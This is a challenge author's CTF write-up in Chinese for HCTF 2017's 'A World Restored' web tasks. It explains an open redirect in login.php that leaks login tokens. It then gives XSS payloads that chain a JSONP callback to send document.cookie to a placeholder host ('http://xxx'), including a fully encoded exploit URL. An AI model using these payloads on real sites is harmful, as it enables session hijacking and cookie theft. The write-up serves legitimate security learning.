<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    A World Restored

        A World Restored
        Description:
        nothing here or all the here ps:flag in admin cookie 
        flag is login as admin
        URL http://messbox.2017.hctf.io
        Now Score 674.44
        Team solved 7

    這道題目在比賽結束時,只有7只隊伍最終完成了,非常出乎我的意料,因為漏洞本身非常有意思。(這個漏洞是ROIS發現的)

    為了能夠實現token,我設定了token不可逆的二重驗證策略,但是在題目中我加入了一個特殊的接口,讓我們回顧一下。

    auth域中的login.php,我加入了這樣一段代碼

        if(!empty($_GET['n_url'])){
                $n_url = trim($_GET['n_url']);
                echo "<script nonce='{$random}'>window.location.href='".$n_url."?token=".$usertoken."'</script>";
                exit;
            }else{
                // header("location: http://messbox.hctf.com?token=".$usertoken);
                echo "<script nonce='{$random}'>window.location..$usertoken."'</script>";
                exit;
            }

    這段代碼也是兩個漏洞的核心漏洞點,假設你在未登錄狀態下訪問messbox域下的user.php或者report.php這兩個頁面,那么因為未登錄,頁面會跳轉到auth域并攜帶n_url,如果獲取到登陸狀態,這里就會拼接token傳回messbox域,并賦予登陸狀態。

    簡單的流程如下:
    未登錄->獲取當前URL->跳轉至auth->獲取登陸狀態->攜帶token跳轉到剛才獲取的URL->messbox登陸成功
    當然,這其中是有漏洞的。

    服務端bot必然登陸了admin賬號,如果我們直接請求login.php并制定下一步跳轉的URL,那么我們就可以獲取拼接上的token!

    poc
    `http://auth.2017.hctf.io/login.php?n_url=http://{you_website}`

    得到token我們就可以登陸messbox域,成功登陸admin

        A World Restored Again
        Description: 
        New Challenge !! 
        hint: flag only from admin bot
        URL http://messbox.2017.hctf.io
        Now Score 702.6
        Team solved 6

    到了第二部,自然就是xss了,其實題目本身非常簡單,在出題之初,為了避免題目出現“垃圾時間”(因為非預期導致題目不可解),我在題目中加入了跟多元素。

    并把flag2放置在.2017.hctf.io域下,避免有人找到messbox的xss但是打不到flag的問題。(沒想到真的用上了)

    這里我就簡單描述下預期解法和非預期解法兩個。
    預期解法

    預期解法當然來自于出題思路。

    https://stamone-bug-bounty.blogspot.jp/201...

    漏洞本身非常簡單,但有意思的是利用思路。

    當你發現了一個任意URL跳轉的漏洞,會不會考慮漏洞是怎么發生的?

    也許你平時可能沒注意過,但跳轉一般是分兩種的,第一種是服務端做的,利用header: location,這種跳轉我們沒辦法阻止。第二種是js使用location.href導致的跳轉。

    既然是js實現的,那么是不是有可能存在dom xss漏洞呢?

    這個uber的漏洞由來就是如此。

    這里唯一的考點就是,js是一種順序執行的語言,如果location報錯,那么就不會繼續執行后面的js,如果location不報錯,那么就可能在執行下一句之前跳轉走。

    當然,辦法很多。最普通的可能是在location后使用stop()來阻止跳轉,但最好用的就是新建script塊,這樣上一個script報錯不會影響到下一個script塊。

    最終payload

    </script><script src="http://auth.hctf.com/getmessage.php?callback=window.location.href='http://xxx?cookie='+document.cookie;//"></script
    exp 
    http://auth.2017.hctf.io/login.php?n_url=%3E%3C%2fscript%3E%3Cscript%20src%3D%22http%3A%2f%2fauth.2017.hctf.io%2fgetmessage.php%3Fcallback%3Dwindow.location.href%3D%27http%3A%2f%2fxxx%3Fcookie%3D%27%252bdocument.cookie%3B%2f%2f%22%3E%3C%2fscript%3E

    非預期解法

    除了上面的漏洞以外,messbox也有漏洞,username在首頁沒有經過任何過濾就顯示在了頁面內。

    但username這里漏洞會有一些問題,因為本身預期的漏洞點并不是這里,所以這里的username經過我框架本身的一點兒過濾,而且長度有限制,所以從這里利用的人會遇到很多非預期的問題。

    payload如下,注冊名為

        <script src=//auth.2017.hctf.io/getmessage.php?callback=location=%27http://xxx/%27%2bbtoa(document.cookie);//></script>

    的用戶名,并獲取token。

    傳遞

    http://messbox.2017.hctf.io/?token=NDYyMGZlMTNhNWM3YTAxY3xQSE5qY21sd2RDQnpjb  U05THk5aGRYUm9Makl3TVRjdWFHTjBaaTVwYnk5blpYUnRaWE56WVdkbExuQm9jRDlqWVd4c1ltRmphejFzYjJOaGRHbHZiajBsTWpkb2RIUndPaTh2Y205dmRHc3VjSGN2SlRJM0pUSmlZblJ2WVNoa2IyTjFiV1Z1ZEM1amIyOXJhV1VwT3k4dlBqd3ZjMk55YVhCMFBnPT0=

    即可

    本文章首發在 網安wangan.com 網站上。

    上一篇 下一篇
    討論數量: 0
    只看當前版本


    暫無話題~
    亚洲 欧美 自拍 唯美 另类